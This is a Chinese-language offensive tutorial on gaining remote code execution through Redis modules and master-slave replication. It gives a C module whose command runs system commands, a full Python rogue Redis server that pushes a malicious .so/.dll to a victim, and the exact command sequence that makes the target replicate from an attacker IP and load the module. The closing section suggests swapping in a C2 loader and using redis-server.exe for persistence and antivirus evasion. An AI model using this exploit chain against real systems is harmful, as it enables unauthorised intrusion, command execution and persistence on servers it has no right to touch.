在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so/.dll文件,达到代码执行的目的。- https://github.com/puckiestyle/RedisModules-ExecuteCommand
Redis模块
在 Redis 应用中,模块机制是提及得比较少的一个功能,主要是 Redis 的功能基本上能应付各种需求,很少需要自己编写模块来扩展功能的。但有时候我们希望为 Redis 提供一些较为高级的功能,比如提供支持回滚的事务功能,这时就需要编写模块来进行扩展。API
RedisModule_OnLoad()
每个 Redis 模块都需要提供一个 RedisModule_OnLoad() 函数,这个函数是 Redis 加载模块时会调用的函数,也就是说,Redis 加载一个模块时,会调用这个模块的 RedisModule_OnLoad() 函数。int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
// 第一个参数类型是 RedisModuleCtx,表示模块的上下文,主要用来存放模块的一些基本信息;
// 第二个参数类型为 RedisModuleString,表示载入模块时传入的参数列表
// 第三个参数类型为 int,表示参数列表的个数。
RedisModule_Init()
在 RedisModule_OnLoad() 函数中一般需要调用 RedisModule_Init() 函数来向 Redis 注册模块。int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
// 第一个参数类型是 RedisModuleCtx,表示模块的上下文,主要用来存放模块的一些基本信息;
// 第二个参数用于指定模块的名称;
// 第三个参数用于指定模块的版本;
// 而第四个参数用于指定API的版本;
RedisModule_CreateCommand()
注册完模块后,就可以通过 RedisModule_CreateCommand() 函数来为模块创建命令。int RedisModule_CreateCommand(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc,
const char *strflags, int firstkey, int lastkey, int keystep);
// ctx:就是模块的上下文。
// name:用于指定命令的名称,
// cmdfunc:用于指定命令的功能函数,也就是当我们调用一个命令时,就会通过调用这个函数来实现具体的功能。
// strflags:用于指定命令的功能,比如 write 表示命令对 Redis 进行写操作,而 readonly 表示命令只会读取 Redis 的数据等
// firstkey,lastkey,keystep:用于指导 command getkeys 命令获取 keys 列表时使用的,如果不提供这个功能,可以设置为0。
模块编写
注册一个模块exp,创建一个命令exp.e用来执行命令,执行函数为ExecuteCommand,int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
// 注册模块
if (RedisModule_Init(ctx, "exp", 1, REDISMODULE_APIVER_1) ==
REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "exp.e", ExecuteCommand, "readonly", 1, 1, 1) ==
REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
完成ExecuteCommand功能,即执行命令并获取结果int ExecuteCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
{…}
FILE *fp = _popen(all_cmd, "r");
{…}
return REDISMODULE_OK;
}
测试
Module load ./exp.dll
Exp.e whoami
Module unload exp
延伸利用
将ExecuteCommand方法改为执行上线的loader代码…在这里在延伸一下,如果目标机有杀软,我们是不是可以上传一个redis-server.exe来上线、维权、隐藏自己?从理论上来说都是可行的,可惜redis-server自身没签名,效果可能达不到最好。恶意redis服务器构建
通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点。Redis服务端模拟脚本
- https://github.com/Dliv3/redis-rogue-server
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if"PING"in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF"in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC"in data or "SYNC"in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
exploit
构造恶意Redis服务器,监听本地端口21000,加载exp.so或exp.dll。连接目标redis,设置主服务器为上一步中构造的恶意redis服务器#设置备份文件名为exp.dll,默认为dump.rdb
config set dbfilename exp.dll
#设置主服务器IP和端口
slaveof 192.168.1.1 21000
#加载恶意模块
module load ./exp.dll
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
exp.e 'whoami'
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb